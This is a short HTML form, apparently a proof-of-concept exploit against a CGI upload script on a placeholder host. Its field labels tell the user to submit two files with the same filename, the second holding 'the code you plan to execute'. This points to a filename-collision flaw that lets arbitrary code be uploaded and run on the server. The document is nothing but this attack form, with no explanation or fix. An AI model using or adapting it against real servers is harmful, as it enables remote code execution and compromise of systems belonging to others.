<form action="http://www.example.com/cgi-bin/upload.cgi" method="post" enctype="multipart/form-data">
File 1, Same filename as file2<br>
<input type="File" name="FILE1"><br>
File 2, The code you plan to execute, with same filename as
file1<br><input type="File" name="FILE2"><br>
<input type="Submit" value="Submit"></p>
</form>